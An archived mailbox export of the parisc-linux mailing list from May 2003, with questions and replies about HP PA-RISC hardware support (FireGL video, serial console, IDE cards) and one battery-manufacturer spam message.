List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18548

Hi  ,=20
about  install Debian-hppa on HP C3750 Pa-risc .

http://www.hp.com/workstations/risc/c3750/faq.html

=46rom the documentation I see that the arch is supported ( C class ) .

http://www.parisc-linux.org/release-0.9/systems-093.html

Someone has tried to make to work the HP A7789 Fire GL-UX=20
video card on board .=20

Thank's in advance .

=2D-Dave_S


From - Thu Nov 08 21:27:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP A7789 Fire GL-UX
Date: Fri, 23 May 2003 10:43:22 -0600
Lines: 22
Approved: news@gmane.org
Message-ID: <20030523164322.GA23563@dsl2.external.hp.com>
References: <200305231045.38506.erd0s@afterconnect.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622477 25975 80.91.229.3 (22 Nov 2014 02:14:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Dave Sasselli <erd0s@afterconnect.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 23 10:43:22 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 3082B482A; Fri, 23 May 2003 10:43:22 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200305231045.38506.erd0s@afterconnect.com>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18549

On Fri, May 23, 2003 at 10:45:38AM +0200, Dave Sasselli wrote:
> Hi  , 
> about  install Debian-hppa on HP C3750 Pa-risc .
> 
> http://www.hp.com/workstations/risc/c3750/faq.html
> 
> From the documentation I see that the arch is supported ( C class ) .
> 
> http://www.parisc-linux.org/release-0.9/systems-093.html

This web page is obsolete.
We've kept the web pages around just for reference.

> Someone has tried to make to work the HP A7789 Fire GL-UX 
> video card on board . 

Are you asking if someone has been able to make this work?
I think the answer is no.
Lack of HW documentation is a problem for all the FX* cards.

grant


From - Thu Nov 08 21:27:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <killboy@cyberspace.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] E35.
Date: Fri, 23 May 2003 13:32:32 -0400 (EDT)
Lines: 7
Approved: news@gmane.org
Message-ID: <Pine.SUN.3.96.1030523133046.19783A-100000@grex.cyberspace.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622477 25979 80.91.229.3 (22 Nov 2014 02:14:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:37 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 23 11:32:42 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from grex.cyberspace.org (grex.cyberspace.org [216.93.104.34])
	by dsl2.external.hp.com (Postfix) with SMTP id 728A7482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 23 May 2003 11:32:42 -0600 (MDT)
Original-Received: from localhost (killboy@localhost) by grex.cyberspace.org (8.6.13/8.6.12) with SMTP id NAA20165 for <parisc-linux@lists.parisc-linux.org>; Fri, 23 May 2003 13:32:33 -0400
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18550

Is the only way i can view the console via a MUX/RS232 adapter, or is
there another way?

Ben
     "BASIC programmers never die, they GOSUB and dont't RETURN."       



From - Thu Nov 08 21:27:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP A7789 Fire GL-UX
Date: Fri, 23 May 2003 18:39:19 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <20030523173919.GB12621@parcelfarce.linux.theplanet.co.uk>
References: <200305231045.38506.erd0s@afterconnect.com> <20030523164322.GA23563@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622478 25981 80.91.229.3 (22 Nov 2014 02:14:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:38 +0000 (UTC)
Cc: Dave Sasselli <erd0s@afterconnect.com>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 23 11:39:21 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 64C50482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 23 May 2003 11:39:21 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19JGVj-00041s-88; Fri, 23 May 2003 18:39:19 +0100
Content-Disposition: inline
In-Reply-To: <20030523164322.GA23563@dsl2.external.hp.com>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18551

On Fri, May 23, 2003 at 10:43:22AM -0600, Grant Grundler wrote:
> > Someone has tried to make to work the HP A7789 Fire GL-UX 
> > video card on board . 
> 
> Are you asking if someone has been able to make this work?
> I think the answer is no.
> Lack of HW documentation is a problem for all the FX* cards.

Surely the FireGL card isn't an FX* card but a Radeon?  If so, maybe
ATI have released some docs on it ... Anyone know?

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] E35.
Date: Fri, 23 May 2003 10:55:50 -0700 (PDT)
Lines: 11
Approved: news@gmane.org
Message-ID: <200305231755.h4NHtok11927@opus.allegro.com>
References: <Pine.SUN.3.96.1030523133046.19783A-100000@grex.cyberspace.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622478 25984 80.91.229.3 (22 Nov 2014 02:14:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: killboy@cyberspace.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 23 11:56:25 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from opus.allegro.com (opus.allegro.com [209.10.39.50])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8DFA8482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 23 May 2003 11:56:25 -0600 (MDT)
Original-Received: (from sieler@localhost)
	by opus.allegro.com (8.11.6/8.11.6) id h4NHtok11927;
	Fri, 23 May 2003 10:55:50 -0700
In-Reply-To: <Pine.SUN.3.96.1030523133046.19783A-100000@grex.cyberspace.org> from "killboy@cyberspace.org" at May 23, 2003 01:32:32 PM
X-Mailer: ELM [version 2.5 PL6]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18552

Re:

> Is the only way i can view the console via a MUX/RS232 adapter, or is
> there another way?

AFAIK, that's the only way.
 
-- 
Stan Sieler                                           sieler@allegro.com
www.allegro.com/sieler/wanted/index.html                  www.sieler.com


From - Thu Nov 08 21:27:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Martin K. Petersen" <mkp@mkp.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP A7789 Fire GL-UX
Date: 23 May 2003 14:07:40 -0400
Organization: mkp.net
Lines: 19
Approved: news@gmane.org
Message-ID: <yq1u1blo7tf.fsf@wilson.mkp.net>
References: <200305231045.38506.erd0s@afterconnect.com>
	<20030523164322.GA23563@dsl2.external.hp.com>
	<20030523173919.GB12621@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622478 25987 80.91.229.3 (22 Nov 2014 02:14:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:38 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	Dave Sasselli <erd0s@afterconnect.com>,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 23 12:07:46 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from jaguar.mkp.net (jaguar.mkp.net [66.11.169.42])
	by dsl2.external.hp.com (Postfix) with ESMTP id B760A482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 23 May 2003 12:07:45 -0600 (MDT)
Original-Received: from wilson.mkp.net (rover.mkp.net [209.217.122.9])
	by jaguar.mkp.net (Postfix) with ESMTP
	id 6DD4E177F4; Fri, 23 May 2003 14:07:41 -0400 (EDT)
Original-Received: (from mkp@localhost)
	by wilson.mkp.net (8.11.6/8.11.6) id h4NI7eZ05786;
	Fri, 23 May 2003 14:07:40 -0400
X-Authentication-Warning: wilson.mkp.net: mkp set sender to mkp@mkp.net using -f
In-Reply-To: <20030523173919.GB12621@parcelfarce.linux.theplanet.co.uk>
Original-Lines: 18
User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18553

>>>>> "Matthew" == Matthew Wilcox <willy@debian.org> writes:

Matthew> On Fri, May 23, 2003 at 10:43:22AM -0600, Grant Grundler wrote:
>> > Someone has tried to make to work the HP A7789 Fire GL-UX > video
>> card on board .
>> 
>> Are you asking if someone has been able to make this work?  I think
>> the answer is no.  Lack of HW documentation is a problem for all
>> the FX* cards.

Matthew> Surely the FireGL card isn't an FX* card but a Radeon?  If
Matthew> so, maybe ATI have released some docs on it ... Anyone know?

FireGL is ATI's high-end chip offering.  The drivers are binary only.

-- 
Martin K. Petersen      http://mkp.net/



From - Thu Nov 08 21:27:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dave Sasselli <erd0s@afterconnect.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP A7789 Fire GL-UX
Date: Fri, 23 May 2003 21:39:13 +0200
Organization: Afterconnect.com
Lines: 17
Approved: news@gmane.org
Message-ID: <200305232139.13024.erd0s@afterconnect.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622479 25990 80.91.229.3 (22 Nov 2014 02:14:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:39 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 23 13:39:31 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from alpha.afterconnect.com (host122-222.pool8018.interbusiness.it [80.18.222.122])
	by dsl2.external.hp.com (Postfix) with SMTP id 79767482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 23 May 2003 13:39:29 -0600 (MDT)
Original-Received: (qmail 1854 invoked from network); 23 May 2003 19:50:49 -0000
Original-Received: from unknown (HELO nausica.saturn.sfk) (192.168.1.10)
  by 192.168.1.1 with SMTP; 23 May 2003 19:50:49 -0000
User-Agent: KMail/1.5.1
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18554

> On Fri, May 23, 2003 at 10:43:22AM -0600, Grant Grundler wrote:
> > > Someone has tried to make to work the HP A7789 Fire GL-UX
> > > video card on board .
> >
> > Are you asking if someone has been able to make this work?
> > I think the answer is no.
> > Lack of HW documentation is a problem for all the FX* cards.
>
> Surely the FireGL card isn't an FX* card but a Radeon?  If so, maybe
> ATI have released some docs on it ... Anyone know?

Ati supports only binary driver for intel.  
I could use the driver of xfree86 for radeon otherwise the only way is the 
frame buffer .

--Dave_S


From - Thu Nov 08 21:27:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: & <&@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Provide Mobile Phone Battery And Other Battery
Date: Sun, 25 May 2003 08:31:32 +0800
Lines: 51
Approved: news@gmane.org
Message-ID: <20030525003012.1EE4D482F@dsl2.external.hp.com>
Reply-To: &@dsl2.external.hp.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="7a839214-e777-475f-bd29-d73f423d9cd8"
X-Trace: ger.gmane.org 1416622479 25993 80.91.229.3 (22 Nov 2014 02:14:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:39 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat May 24 18:30:13 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from 34.31.31.25 (unknown [218.17.9.191])
	by dsl2.external.hp.com (Postfix) with SMTP id 1EE4D482F
	for <parisc-linux@parisc-linux.org>; Sat, 24 May 2003 18:30:12 -0600 (MDT)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18555

This is a multi-part message in MIME format
--7a839214-e777-475f-bd29-d73f423d9cd8
Content-Type: text/plain; charset=gb2312
Content-Transfer-Encoding: quoted-printable

Dear Sir or Madam:

This information is come from China .

Shenzhen Stone Electronics Co.,Ltd., headed by a team of battery experts and =
experienced senior electronics designers,is a professional manufacturer for =
portable power.Suported by high advanced production facilities and testing =
equipments,we produce rechargeable Li-lon. Ni-MH, alkalescent batteries and =
battery packs appied for cellular phones,cordless phones,radio,mp3,digital =
camera,portable PDA,VCD/DVD player,notebook,emergency lighting, power =
tool,R/C toys and other state-of-the-art devices,As a total solution provider =
for portable power,we design and produce kinds of chargers and power =
management circuits according to customer's requirements.
Factory area:3,000m2
Skilled worders: 200
Senior R&D staff: 6
Engineering Staff: 5
Annual Qutput: 30 million Pcs
Quality system: ISO9002
"Same quality level,We have more comperitive price;same price,we have higher =
quality level" is one of the important reasons than our customers cooperate =
with us .Choose a partner,not only a supplier!

YOUR ANY ENQUIRY ARE WELCOME  !

Contact person : Mr.Wei

E-MAIL : yuqingqing@vip.sina.com  ;

Shenzhen Stone Electronics Co., Ltd. 
Industrial Rd.(w) , Longhua , Shenzhen , Guangdong , China 
TEL: 86-755-28116152 (DIRECT LINE )  
FAX: 86-755-28116153  

   

----------------------------------------------------
    DEMO=B0=E6=B1=BE=B7=A2=CB=CD    
----------------------------------------------------




--7a839214-e777-475f-bd29-d73f423d9cd8--



From - Thu Nov 08 21:27:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP A7789 Fire GL-UX
Date: Sun, 25 May 2003 11:30:30 +0000
Lines: 39
Approved: news@gmane.org
Message-ID: <3ED0A956.7010803@tiscali.be>
References: <200305232139.13024.erd0s@afterconnect.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622479 25996 80.91.229.3 (22 Nov 2014 02:14:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Dave Sasselli <erd0s@afterconnect.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun May 25 05:16:38 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id DE8E5482F
	for <parisc-linux@lists.parisc-linux.org>; Sun, 25 May 2003 05:16:37 -0600 (MDT)
Original-Received: from [62.235.175.156] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 19JtUR-0000vt-00; Sun, 25 May 2003 13:16:36 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3.1) Gecko/20030521 Debian/1.3.1-1
X-Accept-Language: en
In-Reply-To: <200305232139.13024.erd0s@afterconnect.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18556

Dave Sasselli wrote:

>>On Fri, May 23, 2003 at 10:43:22AM -0600, Grant Grundler wrote:
>>    
>>
>>>>Someone has tried to make to work the HP A7789 Fire GL-UX
>>>>video card on board .
>>>>        
>>>>
>>>Are you asking if someone has been able to make this work?
>>>I think the answer is no.
>>>Lack of HW documentation is a problem for all the FX* cards.
>>>      
>>>
>>Surely the FireGL card isn't an FX* card but a Radeon?  If so, maybe
>>ATI have released some docs on it ... Anyone know?
>>    
>>
>
>Ati supports only binary driver for intel.  
>
AFAIK ati would be supported in 2.4.21?

So : 
<http://lists.parisc-linux.org/pipermail/parisc-linux/2003-April/019808.html>
I wouldn't have more chance to make work this Ati Rage model?


>I could use the driver of xfree86 for radeon otherwise the only way is the 
>frame buffer .
>
>  
>
Thanks,
    Joel





From - Thu Nov 08 21:27:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: baddy@free.fr
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Promise IDE PCI card
Date: Sun, 25 May 2003 12:28:14 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <yam9275.744.147299592@esteban.rebellion>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1416622479 25997 80.91.229.3 (22 Nov 2014 02:14:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:39 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun May 25 05:27:18 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from esteban.rebellion (f18m-8-141.d1.club-internet.fr [212.195.143.141])
	by dsl2.external.hp.com (Postfix) with ESMTP id 484D0482F
	for <parisc-linux@lists.parisc-linux.org>; Sun, 25 May 2003 05:27:18 -0600 (MDT)
Original-Received: from x-plorer.rebellion
	([192.168.10.1] helo=rebellion ident=badmax)
	by esteban.rebellion with smtp (Exim 3.36 #1 (Debian))
	id 19Jtem-0004V7-00
	for <parisc-linux@lists.parisc-linux.org>; Sun, 25 May 2003 13:27:16 +0200
X-Mailer: YAM 2.2 [060] AmigaOS E-Mail Client (c) 1995-2000 by Marcel Beck  http://www.yam.ch
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18557

Hi,

Who knows if the Promise Ultra 100 TX2 PCI card works under PA-Risc
Linux ? I own a B132L+ and I am interested in adding IDE drive for storage
(because IDE is cheaper than SCSI for mass storage).

Thanks
-------
Bad Max
========
Amiga User
GNU User
WWW: perso.club-internet.fr/badmax



From - Thu Nov 08 21:27:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Siraj 'Sid' Rakhada" <sid@mindless.co.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] RAID Boot Howto question...
Date: Sun, 25 May 2003 22:18:50 +0100 (BST)
Lines: 27
Approved: news@gmane.org
Message-ID: <35262.194.131.108.2.1053897530.squirrel@ssl.mindless.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622480 25999 80.91.229.3 (22 Nov 2014 02:14:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:40 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun May 25 15:18:54 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bloody (bloody.mindless.co.uk [195.224.53.249])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3237D482F
